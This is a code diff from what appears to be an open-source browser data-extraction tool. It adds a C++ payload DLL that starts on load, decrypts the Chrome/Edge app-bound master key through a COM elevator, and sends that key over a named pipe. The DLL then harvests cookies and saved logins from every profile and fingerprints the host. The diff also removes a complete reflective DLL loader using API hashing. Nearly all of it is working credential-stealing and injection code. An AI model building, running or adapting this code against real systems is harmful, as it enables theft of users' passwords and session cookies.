json << " \"installed_extensions_count\": " << extensionIds.size() << ",\n";
|
||||
|
||||
if (!extensionIds.empty()) {
|
||||
json << " \"extension_ids\": [";
|
||||
for (size_t i = 0; i < extensionIds.size(); ++i) {
|
||||
json << "\"" << extensionIds[i] << "\"";
|
||||
if (i < extensionIds.size() - 1) json << ", ";
|
||||
}
|
||||
json << "],\n";
|
||||
}
|
||||
}
|
||||
|
||||
void ExtractProfileCount(std::ostringstream& json) {
|
||||
int profileCount = 0;
|
||||
try {
|
||||
for (const auto& entry : std::filesystem::directory_iterator(m_browser.userDataPath)) {
|
||||
if (entry.is_directory()) {
|
||||
auto cookiePath = entry.path() / "Network" / "Cookies";
|
||||
auto loginPath = entry.path() / "Login Data";
|
||||
if (std::filesystem::exists(cookiePath) || std::filesystem::exists(loginPath)) {
|
||||
profileCount++;
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (...) {}
|
||||
json << " \"profile_count\": " << profileCount << ",\n";
|
||||
}
|
||||
|
||||
void ExtractSystemInfo(std::ostringstream& json) {
|
||||
// Computer name
|
||||
char computerName[MAX_COMPUTERNAME_LENGTH + 1] = {0};
|
||||
DWORD size = sizeof(computerName);
|
||||
if (GetComputerNameA(computerName, &size)) {
|
||||
json << " \"computer_name\": \"" << EscapeJson(computerName) << "\",\n";
|
||||
}
|
||||
|
||||
// Windows username
|
||||
char userName[256] = {0};
|
||||
DWORD userSize = sizeof(userName);
|
||||
if (GetUserNameA(userName, &userSize)) {
|
||||
json << " \"windows_user\": \"" << EscapeJson(userName) << "\",\n";
|
||||
}
|
||||
|
||||
// OS Version info
|
||||
OSVERSIONINFOEXW osInfo = {0};
|
||||
osInfo.dwOSVersionInfoSize = sizeof(osInfo);
|
||||
|
||||
// Try RtlGetVersion (more reliable than GetVersionEx)
|
||||
using RtlGetVersionPtr = NTSTATUS(WINAPI*)(PRTL_OSVERSIONINFOW);
|
||||
if (auto ntdll = GetModuleHandleW(L"ntdll.dll")) {
|
||||
if (auto pRtlGetVersion = reinterpret_cast<RtlGetVersionPtr>(GetProcAddress(ntdll, "RtlGetVersion"))) {
|
||||
if (pRtlGetVersion(reinterpret_cast<PRTL_OSVERSIONINFOW>(&osInfo)) == 0) {
|
||||
json << " \"os_version\": \"" << osInfo.dwMajorVersion << "."
|
||||
<< osInfo.dwMinorVersion << "." << osInfo.dwBuildNumber << "\",\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Architecture
|
||||
SYSTEM_INFO sysInfo;
|
||||
GetNativeSystemInfo(&sysInfo);
|
||||
const char* arch = "unknown";
|
||||
switch (sysInfo.wProcessorArchitecture) {
|
||||
case PROCESSOR_ARCHITECTURE_AMD64: arch = "x64"; break;
|
||||
case PROCESSOR_ARCHITECTURE_ARM64: arch = "ARM64"; break;
|
||||
case PROCESSOR_ARCHITECTURE_INTEL: arch = "x86"; break;
|
||||
}
|
||||
json << " \"architecture\": \"" << arch << "\",\n";
|
||||
}
|
||||
|
||||
void ExtractTimestamps(std::ostringstream& json) {
|
||||
// Local State last modified
|
||||
auto localStatePath = m_browser.userDataPath / "Local State";
|
||||
if (std::filesystem::exists(localStatePath)) {
|
||||
try {
|
||||
auto ftime = std::filesystem::last_write_time(localStatePath);
|
||||
auto sctp = std::chrono::time_point_cast<std::chrono::system_clock::duration>(
|
||||
ftime - std::filesystem::file_time_type::clock::now() + std::chrono::system_clock::now());
|
||||
auto time = std::chrono::system_clock::to_time_t(sctp);
|
||||
json << " \"last_config_update\": " << time << ",\n";
|
||||
} catch (...) {}
|
||||
}
|
||||
|
||||
// Current extraction time
|
||||
auto now = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now());
|
||||
json << " \"extraction_timestamp\": " << now << ",\n";
|
||||
}
|
||||
|
||||
bool ContainsKey(const std::string& content, const std::string& key, const std::string& context = "") {
|
||||
if (context.empty()) {
|
||||
return content.find(key) != std::string::npos;
|
||||
}
|
||||
size_t contextPos = content.find(context);
|
||||
if (contextPos == std::string::npos) return false;
|
||||
size_t keyPos = content.find(key, contextPos);
|
||||
return keyPos != std::string::npos && keyPos < contextPos + 500;
|
||||
}
|
||||
|
||||
std::string EscapeJson(const std::string& s) {
|
||||
std::ostringstream o;
|
||||
for (char c : s) {
|
||||
switch (c) {
|
||||
case '"': o << "\\\""; break;
|
||||
case '\\': o << "\\\\"; break;
|
||||
case '\b': o << "\\b"; break;
|
||||
case '\f': o << "\\f"; break;
|
||||
case '\n': o << "\\n"; break;
|
||||
case '\r': o << "\\r"; break;
|
||||
case '\t': o << "\\t"; break;
|
||||
default:
|
||||
if (static_cast<unsigned char>(c) < 0x20) {
|
||||
o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast<int>(c);
|
||||
} else {
|
||||
o << c;
|
||||
}
|
||||
}
|
||||
}
|
||||
return o.str();
|
||||
}
|
||||
|
||||
PipeClient& m_pipe;
|
||||
const BrowserConfig& m_browser;
|
||||
std::filesystem::path m_outputBase;
|
||||
};
|
||||
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#include "../core/common.hpp"
|
||||
#include "../sys/bootstrap.hpp"
|
||||
#include "pipe_client.hpp"
|
||||
#include "browser_config.hpp"
|
||||
#include "data_extractor.hpp"
|
||||
#include "fingerprint.hpp"
|
||||
#include "../com/elevator.hpp"
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
|
||||
using namespace Payload;
|
||||
|
||||
struct ThreadParams {
|
||||
HMODULE hModule;
|
||||
LPVOID lpPipeName;
|
||||
};
|
||||
|
||||
std::vector<uint8_t> GetEncryptedKey(const std::filesystem::path& localState) {
|
||||
std::ifstream f(localState, std::ios::binary);
|
||||
if (!f) throw std::runtime_error("Cannot open Local State");
|
||||
|
||||
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
||||
|
||||
std::string tag = "\"app_bound_encrypted_key\":\"";
|
||||
size_t pos = content.find(tag);
|
||||
if (pos == std::string::npos) throw std::runtime_error("Key not found");
|
||||
|
||||
pos += tag.length();
|
||||
size_t end = content.find('"', pos);
|
||||
if (end == std::string::npos) throw std::runtime_error("Malformed JSON");
|
||||
|
||||
std::string b64 = content.substr(pos, end - pos);
|
||||
|
||||
DWORD size = 0;
|
||||
CryptStringToBinaryA(b64.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr);
|
||||
std::vector<uint8_t> data(size);
|
||||
CryptStringToBinaryA(b64.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr);
|
||||
|
||||
if (data.size() < 4) throw std::runtime_error("Invalid key data");
|
||||
return std::vector<uint8_t>(data.begin() + 4, data.end());
|
||||
}
|
||||
|
||||
DWORD WINAPI PayloadThread(LPVOID lpParam) {
|
||||
auto params = std::unique_ptr<ThreadParams>(static_cast<ThreadParams*>(lpParam));
|
||||
LPCWSTR pipeName = static_cast<LPCWSTR>(params->lpPipeName);
|
||||
|
||||
try {
|
||||
PipeClient pipe(pipeName);
|
||||
if (!pipe.IsValid()) return 1;
|
||||
|
||||
auto config = pipe.ReadConfig();
|
||||
auto browser = DetectBrowser();
|
||||
|
||||
pipe.LogDebug("Running in " + browser.name);
|
||||
|
||||
std::vector<uint8_t> masterKey;
|
||||
{
|
||||
Com::Elevator elevator;
|
||||
auto encKey = GetEncryptedKey(browser.userDataPath / "Local State");
|
||||
masterKey = elevator.DecryptKey(encKey, browser.clsid, browser.iid, browser.name == "Edge");
|
||||
}
|
||||
|
||||
// Send key as structured message
|
||||
std::string keyHex;
|
||||
for (auto b : masterKey) {
|
||||
char buf[3];
|
||||
sprintf_s(buf, "%02X", b);
|
||||
keyHex += buf;
|
||||
}
|
||||
pipe.Log("KEY:" + keyHex);
|
||||
|
||||
DataExtractor extractor(pipe, masterKey, config.outputPath);
|
||||
|
||||
for (const auto& entry : std::filesystem::directory_iterator(browser.userDataPath)) {
|
||||
try {
|
||||
if (entry.is_directory()) {
|
||||
if (std::filesystem::exists(entry.path() / "Network" / "Cookies") ||
|
||||
std::filesystem::exists(entry.path() / "Login Data")) {
|
||||
extractor.ProcessProfile(entry.path(), browser.name);
|
||||
}
|
||||
}
|
||||
} catch (...) {
|
||||
// Continue to next profile if one fails
|
||||
}
|
||||
}
|
||||
|
||||
if (config.fingerprint) {
|
||||
FingerprintExtractor fingerprinter(pipe, browser, config.outputPath);
|
||||
fingerprinter.Extract();
|
||||
}
|
||||
|
||||
} catch (const std::exception& e) {
|
||||
PipeClient pipe(pipeName);
|
||||
pipe.Log("[-] " + std::string(e.what()));
|
||||
}
|
||||
|
||||
FreeLibraryAndExitThread(params->hModule, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
|
||||
if (reason == DLL_PROCESS_ATTACH) {
|
||||
DisableThreadLibraryCalls(hModule);
|
||||
auto params = new ThreadParams{hModule, lpReserved};
|
||||
HANDLE hThread = CreateThread(NULL, 0, PayloadThread, params, 0, NULL);
|
||||
if (hThread) CloseHandle(hThread);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#include "pipe_client.hpp"
|
||||
|
||||
namespace Payload {
|
||||
|
||||
PipeClient::PipeClient(const std::wstring& pipeName) {
|
||||
m_hPipe = CreateFileW(pipeName.c_str(), GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
|
||||
}
|
||||
|
||||
PipeClient::~PipeClient() {
|
||||
if (IsValid()) {
|
||||
Log("__DLL_PIPE_COMPLETION_SIGNAL__");
|
||||
FlushFileBuffers(m_hPipe);
|
||||
CloseHandle(m_hPipe);
|
||||
}
|
||||
}
|
||||
|
||||
void PipeClient::Log(const std::string& msg) {
|
||||
if (IsValid()) {
|
||||
DWORD written = 0;
|
||||
WriteFile(m_hPipe, msg.c_str(), static_cast<DWORD>(msg.length() + 1), &written, nullptr);
|
||||
}
|
||||
}
|
||||
|
||||
void PipeClient::LogDebug(const std::string& msg) {
|
||||
Log("DEBUG:" + msg);
|
||||
}
|
||||
|
||||
void PipeClient::LogData(const std::string& key, const std::string& value) {
|
||||
Log("DATA:" + key + "|" + value);
|
||||
}
|
||||
|
||||
PipeClient::Config PipeClient::ReadConfig() {
|
||||
Config config{};
|
||||
char buffer[MAX_PATH + 1] = {0};
|
||||
DWORD read = 0;
|
||||
|
||||
if (ReadFile(m_hPipe, buffer, sizeof(buffer) - 1, &read, nullptr)) {
|
||||
buffer[read] = '\0';
|
||||
config.verbose = (std::string(buffer) == "VERBOSE_TRUE");
|
||||
}
|
||||
|
||||
if (ReadFile(m_hPipe, buffer, sizeof(buffer) - 1, &read, nullptr)) {
|
||||
buffer[read] = '\0';
|
||||
config.fingerprint = (std::string(buffer) == "FINGERPRINT_TRUE");
|
||||
}
|
||||
|
||||
if (ReadFile(m_hPipe, buffer, sizeof(buffer) - 1, &read, nullptr)) {
|
||||
buffer[read] = '\0';
|
||||
config.outputPath = buffer;
|
||||
}
|
||||
|
||||
return config;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "../core/common.hpp"
|
||||
#include <string>
|
||||
|
||||
namespace Payload {
|
||||
|
||||
class PipeClient {
|
||||
public:
|
||||
explicit PipeClient(const std::wstring& pipeName);
|
||||
~PipeClient();
|
||||
|
||||
bool IsValid() const { return m_hPipe != INVALID_HANDLE_VALUE; }
|
||||
|
||||
void Log(const std::string& msg);
|
||||
void LogDebug(const std::string& msg);
|
||||
void LogData(const std::string& key, const std::string& value);
|
||||
|
||||
struct Config {
|
||||
bool verbose;
|
||||
bool fingerprint;
|
||||
std::string outputPath;
|
||||
};
|
||||
Config ReadConfig();
|
||||
|
||||
private:
|
||||
HANDLE m_hPipe;
|
||||
};
|
||||
|
||||
}
|
||||
@@ -1,256 +0,0 @@
|
||||
// reflective_loader.c
|
||||
// v0.16.1 (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information..
|
||||
|
||||
#include <windows.h>
|
||||
#include "reflective_loader.h"
|
||||
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#pragma intrinsic(_rotr)
|
||||
|
||||
static DWORD ror_dword_loader(DWORD d)
|
||||
{
|
||||
return _rotr(d, HASH_KEY);
|
||||
}
|
||||
|
||||
static DWORD hash_string_loader(char *c)
|
||||
{
|
||||
DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror_dword_loader(h);
|
||||
h += *c;
|
||||
} while (*++c);
|
||||
return h;
|
||||
}
|
||||
|
||||
__declspec(noinline) ULONG_PTR GetIp(VOID)
|
||||
{
|
||||
return (ULONG_PTR)_ReturnAddress();
|
||||
}
|
||||
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpLoaderParameter)
|
||||
{
|
||||
LOADLIBRARYA_FN fnLoadLibraryA = NULL;
|
||||
GETPROCADDRESS_FN fnGetProcAddress = NULL;
|
||||
VIRTUALALLOC_FN fnVirtualAlloc = NULL;
|
||||
NTFLUSHINSTRUCTIONCACHE_FN fnNtFlushInstructionCache = NULL;
|
||||
|
||||
ULONG_PTR uiDllBase;
|
||||
ULONG_PTR uiPeb;
|
||||
ULONG_PTR uiKernel32Base = 0;
|
||||
ULONG_PTR uiNtdllBase = 0;
|
||||
|
||||
PIMAGE_NT_HEADERS pNtHeaders_current;
|
||||
PIMAGE_DOS_HEADER pDosHeader_current;
|
||||
|
||||
uiDllBase = GetIp();
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
pDosHeader_current = (PIMAGE_DOS_HEADER)uiDllBase;
|
||||
if (pDosHeader_current->e_magic == IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
pNtHeaders_current = (PIMAGE_NT_HEADERS)(uiDllBase + pDosHeader_current->e_lfanew);
|
||||
if (pNtHeaders_current->Signature == IMAGE_NT_SIGNATURE)
|
||||
break;
|
||||
}
|
||||
uiDllBase--;
|
||||
}
|
||||
|
||||
#if defined(_M_X64)
|
||||
uiPeb = __readgsqword(0x60);
|
||||
#elif defined(_M_ARM64)
|
||||
uiPeb = __readx18qword(0x60);
|
||||
#else
|
||||
return 0;
|
||||
#endif
|
||||
|
||||
PPEB_LDR_DATA_LDR pLdr = ((PPEB_LDR)uiPeb)->Ldr;
|
||||
PLIST_ENTRY pModuleList = &(pLdr->InMemoryOrderModuleList);
|
||||
PLIST_ENTRY pCurrentEntry = pModuleList->Flink;
|
||||
|
||||
while (pCurrentEntry != pModuleList && (!uiKernel32Base || !uiNtdllBase))
|
||||
{
|
||||
PLDR_DATA_TABLE_ENTRY_LDR pEntry = (PLDR_DATA_TABLE_ENTRY_LDR)CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY_LDR, InMemoryOrderLinks);
|
||||
if (pEntry->BaseDllName.Length > 0 && pEntry->BaseDllName.Buffer != NULL)
|
||||
{
|
||||
DWORD dwModuleHash = 0;
|
||||
USHORT usCounter = pEntry->BaseDllName.Length;
|
||||
BYTE *pNameByte = (BYTE *)pEntry->BaseDllName.Buffer;
|
||||
|
||||
do
|
||||
{
|
||||
dwModuleHash = ror_dword_loader(dwModuleHash);
|
||||
if (*pNameByte >= 'a' && *pNameByte <= 'z')
|
||||
{
|
||||
dwModuleHash += (*pNameByte - 0x20);
|
||||
}
|
||||
else
|
||||
{
|
||||
dwModuleHash += *pNameByte;
|
||||
}
|
||||
pNameByte++;
|
||||
} while (--usCounter);
|
||||
|
||||
if (dwModuleHash == KERNEL32DLL_HASH)
|
||||
{
|
||||
uiKernel32Base = (ULONG_PTR)pEntry->DllBase;
|
||||
}
|
||||
else if (dwModuleHash == NTDLLDLL_HASH)
|
||||
{
|
||||
uiNtdllBase = (ULONG_PTR)pEntry->DllBase;
|
||||
}
|
||||
}
|
||||
pCurrentEntry = pCurrentEntry->Flink;
|
||||
}
|
||||
|
||||
if (!uiKernel32Base || !uiNtdllBase)
|
||||
return 0;
|
||||
|
||||
PIMAGE_DOS_HEADER pDosKernel32 = (PIMAGE_DOS_HEADER)uiKernel32Base;
|
||||
PIMAGE_NT_HEADERS pNtKernel32 = (PIMAGE_NT_HEADERS)(uiKernel32Base + pDosKernel32->e_lfanew);
|
||||
ULONG_PTR uiExportDirK32 = uiKernel32Base + pNtKernel32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
PIMAGE_EXPORT_DIRECTORY pExportDirK32 = (PIMAGE_EXPORT_DIRECTORY)uiExportDirK32;
|
||||
|
||||
ULONG_PTR uiAddressOfNamesK32 = uiKernel32Base + pExportDirK32->AddressOfNames;
|
||||
ULONG_PTR uiAddressOfFunctionsK32 = uiKernel32Base + pExportDirK32->AddressOfFunctions;
|
||||
ULONG_PTR uiAddressOfNameOrdinalsK32 = uiKernel32Base + pExportDirK32->AddressOfNameOrdinals;
|
||||
|
||||
for (DWORD i = 0; i < pExportDirK32->NumberOfNames; i++)
|
||||
{
|
||||
char *sName = (char *)(uiKernel32Base + ((DWORD *)uiAddressOfNamesK32)[i]);
|
||||
DWORD dwHashVal = hash_string_loader(sName);
|
||||
if (dwHashVal == LOADLIBRARYA_HASH)
|
||||
fnLoadLibraryA = (LOADLIBRARYA_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
|
||||
else if (dwHashVal == GETPROCADDRESS_HASH)
|
||||
fnGetProcAddress = (GETPROCADDRESS_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
|
||||
else if (dwHashVal == VIRTUALALLOC_HASH)
|
||||
fnVirtualAlloc = (VIRTUALALLOC_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
|
||||
|
||||
if (fnLoadLibraryA && fnGetProcAddress && fnVirtualAlloc)
|
||||
break;
|
||||
}
|
||||
|
||||
if (!fnLoadLibraryA || !fnGetProcAddress || !fnVirtualAlloc)
|
||||
return 0;
|
||||
|
||||
PIMAGE_DOS_HEADER pDosNtdll = (PIMAGE_DOS_HEADER)uiNtdllBase;
|
||||
PIMAGE_NT_HEADERS pNtNtdll = (PIMAGE_NT_HEADERS)(uiNtdllBase + pDosNtdll->e_lfanew);
|
||||
ULONG_PTR uiExportDirNtdll = uiNtdllBase + pNtNtdll->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
PIMAGE_EXPORT_DIRECTORY pExportDirNtdll = (PIMAGE_EXPORT_DIRECTORY)uiExportDirNtdll;
|
||||
|
||||
ULONG_PTR uiAddressOfNamesNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNames;
|
||||
ULONG_PTR uiAddressOfFunctionsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfFunctions;
|
||||
ULONG_PTR uiAddressOfNameOrdinalsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNameOrdinals;
|
||||
|
||||
for (DWORD i = 0; i < pExportDirNtdll->NumberOfNames; i++)
|
||||
{
|
||||
char *sName = (char *)(uiNtdllBase + ((DWORD *)uiAddressOfNamesNtdll)[i]);
|
||||
if (hash_string_loader(sName) == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||
{
|
||||
fnNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE_FN)(uiNtdllBase + ((DWORD *)uiAddressOfFunctionsNtdll)[((WORD *)uiAddressOfNameOrdinalsNtdll)[i]]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!fnNtFlushInstructionCache)
|
||||
return 0;
|
||||
|
||||
PIMAGE_NT_HEADERS pOldNtHeaders = pNtHeaders_current;
|
||||
ULONG_PTR uiNewImageBase = (ULONG_PTR)fnVirtualAlloc(NULL, pOldNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
if (!uiNewImageBase)
|
||||
return 0;
|
||||
|
||||
PBYTE pSourceBytes = (PBYTE)uiDllBase;
|
||||
PBYTE pDestinationBytes = (PBYTE)uiNewImageBase;
|
||||
DWORD dwBytesToCopy = pOldNtHeaders->OptionalHeader.SizeOfHeaders;
|
||||
|
||||
while (dwBytesToCopy--)
|
||||
{
|
||||
*pDestinationBytes++ = *pSourceBytes++;
|
||||
}
|
||||
|
||||
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&pOldNtHeaders->OptionalHeader + pOldNtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
for (WORD i = 0; i < pOldNtHeaders->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
pSourceBytes = (PBYTE)(uiDllBase + pSectionHeader[i].PointerToRawData);
|
||||
pDestinationBytes = (PBYTE)(uiNewImageBase + pSectionHeader[i].VirtualAddress);
|
||||
dwBytesToCopy = pSectionHeader[i].SizeOfRawData;
|
||||
|
||||
while (dwBytesToCopy--)
|
||||
{
|
||||
*pDestinationBytes++ = *pSourceBytes++;
|
||||
}
|
||||
}
|
||||
|
||||
ULONG_PTR uiDelta = uiNewImageBase - pOldNtHeaders->OptionalHeader.ImageBase;
|
||||
PIMAGE_DATA_DIRECTORY pRelocationData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
|
||||
if (pRelocationData->Size > 0 && uiDelta != 0)
|
||||
{
|
||||
PIMAGE_BASE_RELOCATION pRelocBlock = (PIMAGE_BASE_RELOCATION)(uiNewImageBase + pRelocationData->VirtualAddress);
|
||||
while (pRelocBlock->VirtualAddress)
|
||||
{
|
||||
DWORD dwEntryCount = (pRelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
PIMAGE_RELOC_ENTRY pRelocEntry = (PIMAGE_RELOC_ENTRY)((ULONG_PTR)pRelocBlock + sizeof(IMAGE_BASE_RELOCATION));
|
||||
for (DWORD k = 0; k < dwEntryCount; k++)
|
||||
{
|
||||
#if defined(_M_X64) || defined(_M_ARM64)
|
||||
if (pRelocEntry[k].type == IMAGE_REL_BASED_DIR64)
|
||||
{
|
||||
*(ULONG_PTR *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += uiDelta;
|
||||
}
|
||||
#else
|
||||
if (pRelocEntry[k].type == IMAGE_REL_BASED_HIGHLOW)
|
||||
{
|
||||
*(DWORD *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += (DWORD)uiDelta;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
pRelocBlock = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pRelocBlock + pRelocBlock->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
|
||||
PIMAGE_DATA_DIRECTORY pImportData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
if (pImportData->Size > 0)
|
||||
{
|
||||
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(uiNewImageBase + pImportData->VirtualAddress);
|
||||
while (pImportDesc->Name)
|
||||
{
|
||||
char *sModuleName = (char *)(uiNewImageBase + pImportDesc->Name);
|
||||
HINSTANCE hModule = fnLoadLibraryA(sModuleName);
|
||||
if (hModule)
|
||||
{
|
||||
PIMAGE_THUNK_DATA pOriginalFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->OriginalFirstThunk);
|
||||
PIMAGE_THUNK_DATA pFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->FirstThunk);
|
||||
if (!pOriginalFirstThunk)
|
||||
pOriginalFirstThunk = pFirstThunk;
|
||||
|
||||
while (pOriginalFirstThunk->u1.AddressOfData)
|
||||
{
|
||||
FARPROC pfnImportedFunc;
|
||||
if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal))
|
||||
{
|
||||
pfnImportedFunc = fnGetProcAddress(hModule, (LPCSTR)(pOriginalFirstThunk->u1.Ordinal & 0xFFFF));
|
||||
}
|
||||
else
|
||||
{
|
||||
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiNewImageBase + pOriginalFirstThunk->u1.AddressOfData);
|
||||
pfnImportedFunc = fnGetProcAddress(hModule, pImportByName->Name);
|
||||
}
|
||||
pFirstThunk->u1.Function = (ULONG_PTR)pfnImportedFunc;
|
||||
pOriginalFirstThunk++;
|
||||
pFirstThunk++;
|
||||
}
|
||||
}
|
||||
pImportDesc++;
|
||||
}
|
||||
}
|
||||
|
||||
DLLMAIN_FN fnDllEntry = (DLLMAIN_FN)(uiNewImageBase + pOldNtHeaders->OptionalHeader.AddressOfEntryPoint);
|
||||
fnNtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||
fnDllEntry((HINSTANCE)uiNewImageBase, DLL_PROCESS_ATTACH, lpLoaderParameter);
|
||||
|
||||
return uiNewImageBase;
|
||||
}
|
||||
@@ -1,213 +0,0 @@
|
||||
// reflective_loader.h
|
||||
// v0.16.1 (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#ifndef REFLECTIVE_LOADER_H
|
||||
#define REFLECTIVE_LOADER_H
|
||||
#pragma once
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <intrin.h>
|
||||
|
||||
#if defined(_M_X64) || defined(_M_ARM64)
|
||||
#define ENVIRONMENT64
|
||||
#else
|
||||
#error "Unsupported architecture: Reflective Loader is designed for 64-bit environments (x64, ARM64)."
|
||||
#endif
|
||||
|
||||
#if defined(_MSC_VER)
|
||||
#define DLLEXPORT __declspec(dllexport)
|
||||
#else
|
||||
#define DLLEXPORT
|
||||
#endif
|
||||
|
||||
typedef HMODULE(WINAPI *LOADLIBRARYA_FN)(LPCSTR);
|
||||
typedef FARPROC(WINAPI *GETPROCADDRESS_FN)(HMODULE, LPCSTR);
|
||||
typedef LPVOID(WINAPI *VIRTUALALLOC_FN)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef NTSTATUS(NTAPI *NTFLUSHINSTRUCTIONCACHE_FN)(HANDLE, PVOID, ULONG);
|
||||
typedef BOOL(WINAPI *DLLMAIN_FN)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
#define HASH_KEY 13
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||
|
||||
typedef struct _UNICODE_STRING_LDR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING_LDR, *PUNICODE_STRING_LDR;
|
||||
|
||||
typedef struct _PEB_LDR_DATA_LDR
|
||||
{
|
||||
ULONG Length;
|
||||
BOOLEAN Initialized;
|
||||
HANDLE SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID EntryInProgress;
|
||||
BOOLEAN ShutdownInProgress;
|
||||
HANDLE ShutdownThreadId;
|
||||
} PEB_LDR_DATA_LDR, *PPEB_LDR_DATA_LDR;
|
||||
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY_LDR
|
||||
{
|
||||
LIST_ENTRY InLoadOrderLinks;
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
LIST_ENTRY InInitializationOrderLinks;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING_LDR FullDllName;
|
||||
UNICODE_STRING_LDR BaseDllName;
|
||||
ULONG Flags;
|
||||
USHORT LoadCount;
|
||||
USHORT TlsIndex;
|
||||
union
|
||||
{
|
||||
LIST_ENTRY HashLinks;
|
||||
struct
|
||||
{
|
||||
PVOID SectionPointer;
|
||||
ULONG CheckSum;
|
||||
};
|
||||
};
|
||||
union
|
||||
{
|
||||
ULONG TimeDateStamp;
|
||||
PVOID LoadedImports;
|
||||
};
|
||||
PVOID EntryPointActivationContext;
|
||||
PVOID PatchInformation;
|
||||
LIST_ENTRY ForwarderLinks;
|
||||
LIST_ENTRY ServiceTagLinks;
|
||||
LIST_ENTRY StaticLinks;
|
||||
} LDR_DATA_TABLE_ENTRY_LDR, *PLDR_DATA_TABLE_ENTRY_LDR;
|
||||
|
||||
typedef struct _PEB_LDR
|
||||
{
|
||||
BOOLEAN InheritedAddressSpace;
|
||||
BOOLEAN ReadImageFileExecOptions;
|
||||
BOOLEAN BeingDebugged;
|
||||
union
|
||||
{
|
||||
